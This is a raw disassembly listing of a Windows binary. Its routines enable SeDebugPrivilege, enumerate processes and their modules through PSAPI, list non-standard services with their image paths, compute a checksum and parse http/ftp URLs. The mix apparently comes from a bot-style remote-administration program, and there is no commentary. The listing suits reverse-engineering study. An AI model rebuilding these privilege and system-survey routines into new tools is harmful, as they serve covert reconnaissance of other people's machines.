; ---------------------------------------------------------------------------
loc_420350: ; CODE XREF: sub_420300+3Fj
push ebp
push edi
mov edi, dword_50F740
push esi
call edi ; dword_50F740
push esi
call edi ; dword_50F740
mov ebp, dword_50F73C
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp ; dword_50F73C
push esi
call edi ; dword_50F740
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp ; dword_50F73C
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push ebx
call esi ; dword_50F74C
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203D0 proc near ; CODE XREF: sub_4018A7j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
call near ptr 2780B3Dh
nop
push eax
call near ptr 28D15A2h
nop
mov ebp, dword_50F718
mov edi, dword_50F8D8
test eax, eax
jnz short loc_420420
lea ecx, [esp+38h+var_28]
push ecx
push 28h
call near ptr 2780B73h
nop
push eax
nop
call near ptr 28D1BCBh
test eax, eax
jz short loc_42047F
loc_420420: ; CODE XREF: sub_4203D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420483
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
call near ptr 28E0000h
nop
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp ; dword_50F718
test eax, eax
jz short loc_420478
call near ptr 27C07D9h
nop
cmp eax, 514h
jnz short loc_420483
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42047D
; ---------------------------------------------------------------------------
loc_420478: ; CODE XREF: sub_4203D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42047D: ; CODE XREF: sub_4203D0+A6j
call edi ; dword_50F8D8
loc_42047F: ; CODE XREF: sub_4203D0+4Ej
mov [esp+38h+var_28], esi
loc_420483: ; CODE XREF: sub_4203D0+54j
; sub_4203D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2790000h
mov esi, eax
test esi, esi
jz short loc_4204A8
push 0
push esi
call near ptr 2710000h
nop
push esi
mov bl, 1
call edi ; dword_50F8D8
loc_4204A8: ; CODE XREF: sub_4203D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4204C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp ; dword_50F718
mov edx, [esp+38h+var_28]
push edx
call edi ; dword_50F8D8
loc_4204C7: ; CODE XREF: sub_4203D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4203D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420530 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420530
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_436840
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 2891D7Dh
test eax, eax
mov dword_50BB60, eax
jnz short loc_42057C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27E08BFh
test eax, eax
mov dword_50BB60, eax
jz loc_4206FA
loc_42057C: ; CODE XREF: sub_420530+32j
mov esi, dword_50F8A0
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi ; dword_50F8A0
mov dword_50BB64, eax
mov eax, dword_50BB60
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi ; dword_50F8A0
mov ecx, dword_50BB60
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50BB68, eax
call esi ; dword_50F8A0
mov ecx, dword_50BB64
mov dword_50BB6C, eax
test ecx, ecx
jz loc_4206FA
mov edx, dword_50BB68
test edx, edx
jz loc_4206FA
test eax, eax
jz loc_4206FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx ; dword_50BB64
test eax, eax
jz loc_4206FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4206E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_50F874
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42063F: ; CODE XREF: sub_420530+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp ; dword_50F874
mov esi, eax
test esi, esi
jz short loc_4206CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50BB68
test eax, eax
jz short loc_4206C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50BB6C
lea ecx, [esp+74h+var_54]
call sub_401866
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015D7
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402167
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A6E
loc_4206C6: ; CODE XREF: sub_420530+136j
push esi
nop
call near ptr 2850000h
loc_4206CD: ; CODE XREF: sub_420530+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42063F
pop ebp
pop ebx
loc_4206E1: ; CODE XREF: sub_420530+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4206FA: ; CODE XREF: sub_420530+46j
; sub_420530+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420530 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207A0 proc near ; CODE XREF: sub_401866j
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_4207A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4207C0 proc near ; CODE XREF: sub_401A6Ej
jmp sub_401226
sub_4207C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207E0 proc near ; CODE XREF: sub_402144j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4207E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
call near ptr 29108F0h
nop
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42082F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42082F: ; CODE XREF: sub_4207E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44432C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_444314
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_401424
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_50F710
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi ; dword_50F710
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi ; dword_50F710
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420B8F
mov ebp, dword_50F75C
loc_420A6B: ; CODE XREF: sub_4207E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420A97
lea esi, [esp+524h+var_4E0]
loc_420A78: ; CODE XREF: sub_4207E0+2B5j
mov ecx, [edi]
push ecx
push eax
call near ptr 77C4624Eh
nop
add esp, 8
test eax, eax
jz loc_420B73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420A78
loc_420A97: ; CODE XREF: sub_4207E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_401681
push eax
push 80000002h
call ebp ; dword_50F75C
cmp eax, ebx
jz short loc_420AE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420AE3: ; CODE XREF: sub_4207E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 28F0000h
cmp eax, ebx
jz short loc_420B1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1D: ; CODE XREF: sub_4207E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420B3A: ; CODE XREF: sub_4207E0+301j
; sub_4207E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014C9
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420B73: ; CODE XREF: sub_4207E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420A6B
mov ebp, [esp+524h+var_4FC]
loc_420B8F: ; CODE XREF: sub_4207E0+27Fj
push ebp
call near ptr 2920000h
nop
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4207E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_4015EBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
call near ptr 2891D7Dh
nop
push eax
nop
call near ptr 2891242h
mov eax, esi
pop esi
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: sub_401A28j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420D39
loc_420D22: ; CODE XREF: sub_420D00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420D22
cmp ecx, 0
jz short loc_420D4A
loc_420D39: ; CODE XREF: sub_420D00+20j
; sub_420D00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420D39
loc_420D4A: ; CODE XREF: sub_420D00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50BB54, eax
mov eax, offset dword_50BB54
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: ___:00401771j
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_50FAA0
push esi
call edi ; dword_50FAA0
mov ebp, dword_50FA98
push 2
push 0
push esi
mov ebx, eax
call ebp ; dword_50FA98
push esi
call edi ; dword_50FAA0
push 0
push ebx
push esi
mov edi, eax
call ebp ; dword_50FA98
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E10 proc near ; CODE XREF: sub_401938j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420E10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420E3F
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420E10+26j
lea ecx, [esp+90h+var_84]
call sub_401424
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015D7
push offset asc_443C84 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420ECF: ; CODE XREF: sub_420E10+92j
; sub_420E10+A2j
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D20
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_444400 ; "/"
push 1
jz loc_42120C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_420FC9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420FC9: ; CODE XREF: sub_420E10+19Cj
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421095
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42107E
mov dword ptr [esi+54h], 50h
loc_42107E: ; CODE XREF: sub_420E10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421095
mov dword ptr [esi+54h], 15h
loc_421095: ; CODE XREF: sub_420E10+255j
; sub_420E10+27Cj
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016AE
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42114E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420E10+321j
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016AE
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421333
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42120C: ; CODE XREF: sub_420E10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421293
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_420E10+466j
push offset asc_444400 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421333
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42131C
mov dword ptr [esi+54h], 50h
loc_42131C: ; CODE XREF: sub_420E10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421333
mov dword ptr [esi+54h], 15h
loc_421333: ; CODE XREF: sub_420E10+3DBj
; sub_420E10+4F3j ...
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013E3
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E2E
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013E3
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013E3
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_444400 ; "/"
mov ecx, esi
call sub_4015D7
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016BD
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
